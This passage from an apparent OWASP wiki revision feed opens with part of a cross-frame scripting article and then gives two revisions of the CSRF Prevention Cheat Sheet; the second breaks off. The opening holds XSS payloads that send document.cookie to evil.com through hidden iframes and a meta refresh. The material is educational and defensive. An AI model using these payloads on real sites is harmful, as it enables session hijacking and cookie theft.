&amp;lt;iframe style=&amp;quot;position:absolute;top:-9999px&amp;quot; src=&amp;quot;http://example.com/&amp;amp;crarr;&lt;br /&gt;
    flawed-page.html?q=&amp;lt;script&amp;gt;document.write('&amp;lt;img src=\&amp;quot;http://evil.com/&amp;amp;crarr;&lt;br /&gt;
    ?c='+encodeURIComponent(document.cookie)+'\&amp;quot;&amp;gt;')&amp;lt;/script&amp;gt;&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The iframe is hidden off-screen, so the browser user won't have any idea that he or she just &amp;quot;visited&amp;quot; the example.com page. However, this attack is effectively the same as a conventional XSS attack, since the attacker could have simply redirected the user directly to the example.com page, using a variety of methods, including a meta element like this (again, the meta element's URL is wrapped for legibility):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;meta http-eqiv=&amp;quot;refresh&amp;quot; content=&amp;quot;1;url=http://example.com/&amp;amp;crarr;&lt;br /&gt;
    flawed-page.html?q=&amp;lt;script&amp;gt;document.write('&amp;lt;img src=\&amp;quot;http://evil.com/&amp;amp;crarr;&lt;br /&gt;
    ?c='+encodeURIComponent(document.cookie)+'\&amp;quot;&amp;gt;')&amp;lt;/script&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The only difference is that when using an iframe, the attacker can hide the frame off-screen -- so the browser user won't have any idea that he or she just &amp;quot;visited&amp;quot; example.com. When using a redirect to navigate directly to example.com, the browser will display the example.com url in the browser's address bar, and the example.com page in the browser's window, so the browser user will be aware that he or she is visiting example.com.&lt;br /&gt;
&lt;br /&gt;
===Another XSS Attack Using Frames===&lt;br /&gt;
To exploit the same [[Cross Site Scripting Flaw]] as above at example.com (which prints the value of the &amp;quot;q&amp;quot; query parameter from the page's URL in the page's content without escaping the value) the attacker could create a web page at evil.com, which the attacker controls, that includes a link like the following, and induce the user to click on the link. This link injects an iframe into the example.com page by exploiting the XSS flaw with the &amp;quot;q&amp;quot; query parameter; the iframe runs some javascript to steal the browser-user's example.com cookie, and sends it via a fake-image request to evil.com (the URL is wrapped for legibility):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example.com/flawed-page.html?=&amp;lt;iframe src=&amp;quot;&amp;amp;crarr;&lt;br /&gt;
    javascript:document.body.innerHTML=+'&amp;lt;img src=\&amp;quot;http://evil.com/&amp;amp;crarr;&lt;br /&gt;
    ?c='+encodeURIComponent(document.cookie)+'\&amp;quot;&amp;gt;'&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Again, this attack is effectively the same as a conventional XSS attack; the attacker simply uses the src attribute of the injected iframe element as a vehicle to run some javascript code in the attacked page.&lt;br /&gt;
&lt;br /&gt;
==Related Threat Agents==&lt;br /&gt;
&lt;br /&gt;
* An XFS attack generally is carried out by a malicious [[:Category:Internet attacker]].&lt;br /&gt;
* An XFS attack exploiting a browser bug which leaks events across frames is similar to an attack which uses conventional key-logging software.&lt;br /&gt;
&lt;br /&gt;
==Related Attacks==&lt;br /&gt;
&lt;br /&gt;
* An attacker might use a hidden frame to carry out a [[Cross-site Scripting (XSS)]] attack.&lt;br /&gt;
* An attacker might use a hidden frame to carry out a [[Cross-Site Request Forgery (CSRF)]] attack.&lt;br /&gt;
* An attacker might use a visible frame to carry out a [[Clickjacking]] attack.&lt;br /&gt;
* An XFS attack exploiting a browser bug which leaks events across frames is a form of a [[Phishing]] attack (the attacker lures the user into typing-in sensitive information into a frame containing a legitimate third-party page).&lt;br /&gt;
&lt;br /&gt;
==Related Vulnerabilities==&lt;br /&gt;
&lt;br /&gt;
* XFS attacks exploit specific browser bugs.&lt;br /&gt;
&lt;br /&gt;
==Related Controls==&lt;br /&gt;
&lt;br /&gt;
* XFS attacks may denied by preventing the third-party web page from being framed; the techniques used to do this are the same as those used for [[Clickjacking Protection for Java EE]].&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* MSDN article [http://msdn.microsoft.com/en-us/library/ms533028%28VS.85%29.aspx About Cross-Frame Scripting and Security]&lt;br /&gt;
* iDefense Labs advisory [http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=77 Microsoft Internet Explorer Cross Frame Scripting Restriction Bypass]&lt;br /&gt;
&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=159028</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=159028"/>
				<updated>2013-09-24T18:20:42Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: reorganization&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In effect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are then inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This is often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site.&lt;br /&gt;
&lt;br /&gt;
In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from javascript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site).  This attack scenario is easy to prevent, the referer will be omitted if the origin of the request is HTTPS.  Therefore this attack does not affect web applications that are HTTPS only. &lt;br /&gt;
&lt;br /&gt;
The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.&lt;br /&gt;
&lt;br /&gt;
In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.&lt;br /&gt;
&lt;br /&gt;
For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are limitations on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Encrypted Token Pattern ===&lt;br /&gt;
&lt;br /&gt;
'''Overview'''&lt;br /&gt;
&lt;br /&gt;
The Encrypted Token Pattern leverages an encryption, rather than comparison, method of Token-validation. After successful authentication, the server generates a unique Token comprised of the user's ID, a timestamp value and a [http://en.wikipedia.org/wiki/Cryptographic_nonce nonce], using a unique key available only on the server. This Token is returned to the client and embedded in a hidden field. Subsequent AJAX requests include this Token in the request-header, in a similar manner to the Double-Submit pattern. Non-AJAX form-based requests will implicitly persist the Token in its hidden field, although I recommend persisting this data in a custom HTTP header in such cases. On receipt of this request, the server reads and decrypts the Token value with the same key used to create the Token.&lt;br /&gt;
&lt;br /&gt;
'''Validation'''&lt;br /&gt;
&lt;br /&gt;
On successful Token-decryption, the server has access to parsed values, ideally in the form of [http://en.wikipedia.org/wiki/Claims-based_identity claims]. These claims are processed by comparing the UserId claim to any potential stored UserId (in a Cookie or Session variable, if the site already contains a means of authentication). The Timestamp is validated against the current time, preventing replay attacks.&lt;br /&gt;
Alternatively, in the case of a CSRF attack, the server will be unable to decrypt the poisoned Token, and can block and log the attack.&lt;br /&gt;
&lt;br /&gt;
This pattern exists primarily to allow developers and architects protect against CSRF without session-dependency. It also addresses some of the shortfalls in other stateless approaches, such as the need to store data in a Cookie, circumnavigating the Cookie-subdomain and HTTPONLY issues.&lt;br /&gt;
&lt;br /&gt;
Please refer to the following resources for more information:&lt;br /&gt;
&lt;br /&gt;
*[http://insidethecpu.files.wordpress.com/2013/09/encrypted-token-pattern.pdf Encrypted Token Architecture] High-level overview and process-flow.&lt;br /&gt;
*[http://insidethecpu.wordpress.com/2013/09/23/encrypted-token-pattern/ Encrypted Token Overview] High-level overview and process-flow.&lt;br /&gt;
&lt;br /&gt;
= CSRF Prevention without a Synchronizer Token =&lt;br /&gt;
CSRF can be prevented in a number of ways. Using a Synchronizer Token is one way that an application can rely upon the Same-Origin Policy to prevent CSRF by maintaining a secret token to authenticate requests.  This section details other ways that an application can prevent CSRF by relying upon similar rules that CSRF exploits can never break.&lt;br /&gt;
&lt;br /&gt;
=== Checking The Referer Header ===&lt;br /&gt;
Although it is trivial to spoof the referer header on your own browser,  it is impossible to do so in a CSRF attack.  Checking the referer is a commonly used method of preventing CSRF on embedded network devices because it does not require a per-user state.  This makes a referer a useful method of CSRF prevention when memory is scarce.  This method of CSRF mitigation is also commonly used with unauthenticated requests,  such as requests made prior to establishing a session state which is required to keep track of a synchronization token.&lt;br /&gt;
&lt;br /&gt;
However, checking the referer is considered to be a weaker from of CSRF protection.  For example,  open redirect vulnerabilities can be used to exploit GET-based requests that are protected with a referer check.  It should be noted that GET requests should never incur a state change as this is a violation of the HTTP specification. &lt;br /&gt;
&lt;br /&gt;
There are also common implementation mistakes with referer checks.  For example if the CSRF attack originates from an HTTPS domain then the referer will be omitted.  In this case the lack of a referer should be considered to be an attack when the request is performing a state change.   Also note that the attacker has limited influence over the referer.   For example,  if the victim's domain is &amp;quot;site.com&amp;quot; then an attacker have the CSRF exploit originate from &amp;quot;site.com.attacker.com&amp;quot; which may fool a broken referer check implementation.  XSS can be used to bypass a referer check. &lt;br /&gt;
&lt;br /&gt;
=== Checking The Origin Header ===&lt;br /&gt;
The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] standard was introduced as a method of defending against CSRF and other Cross-Domain attacks.  Unlike the referer, the origin will be present in HTTP request that originates from an HTTPS url.&lt;br /&gt;
&lt;br /&gt;
If the origin header is present,  then it should be checked for consistency.&lt;br /&gt;
&lt;br /&gt;
=== Challenge-Response ===&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Prevention Frameworks =&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]]&lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, any cross-site scripting vulnerability can be used to defeat token, Double-Submit cookie, referer and origin based CSRF defenses.  This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish[at]solutionary.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Eric Sheridan - eric[at]infraredsecurity.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Dave Wichers - dave.wichers[at]aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=159027</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=159027"/>
				<updated>2013-09-24T18:19:27Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In effect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are then inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
